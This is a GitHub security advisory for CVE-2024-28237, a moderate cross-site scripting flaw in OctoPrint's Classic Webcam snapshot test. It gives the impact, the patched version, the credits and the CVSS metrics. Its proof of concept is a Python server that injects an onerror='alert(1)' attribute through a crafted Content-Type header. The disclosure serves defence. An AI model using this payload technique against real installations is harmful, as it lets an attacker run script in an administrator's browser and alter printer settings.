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XSS via the "Snapshot Test" feature in Classic Webcam plugin settings

Moderate severity GitHub Reviewed Published Mar 18, 2024 in OctoPrint/OctoPrint • Updated Mar 19, 2024

Package

pip OctoPrint (pip)

Affected versions

<= 1.9.3

Patched versions

1.10.0rc3

Description

Impact

OctoPrint versions up until and including 1.9.3 contain a vulnerability that allows malicious admins to configure or talk a victim with administrator rights into configuring a webcam snapshot URL which when tested through the "Test" button included in the web interface will execute JavaScript code in the victims browser when attempting to render the snapshot image.

An attacker who successfully talked a victim with admin rights into performing a snapshot test with such a crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints or otherwise interact with the OctoPrint instance in a malicious way.

Patches

The vulnerability will be patched in version 1.10.0.

Workaround

OctoPrint administrators are strongly advised to thoroughly vet who has admin access to their installation and what settings they modify based on instructions by strangers.

PoC

Below are the steps to reproduce the vulnerability:

  1. Create a URL that responds with a malicious content type. For example, creating the following python script:

    from http.server import BaseHTTPRequestHandler, HTTPServer
    
    class MyHTTPRequestHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-Type', 'image/"onerror="alert(1)"')
            self.end_headers()
            self.wfile.write(b'Ok')
    
    def run():
        server_address = ('', 8080)
        httpd = HTTPServer(server_address, MyHTTPRequestHandler)
        print('Server listening on 0.0.0.0:8080...')
        httpd.serve_forever()
    
    if __name__ == '__main__':
        run()
    
  2. Go to OctoPrint settings --> Plugins --> Classic Webcam and enter the URL of that page as the Snapshot URL.

  3. Click on the "Test" button to trigger XSS. A Javascript alert should appear, demonstrating the actual code injection.

Credits

This vulnerability was discovered and responsibly disclosed to OctoPrint by Jacopo Tediosi.

References

@foosel foosel published to OctoPrint/OctoPrint Mar 18, 2024
Published to the GitHub Advisory Database Mar 18, 2024
Reviewed Mar 18, 2024
Published by the National Vulnerability Database Mar 18, 2024
Last updated Mar 19, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-28237

GHSA ID

GHSA-x7mf-wrh9-r76c

Source code

Credits

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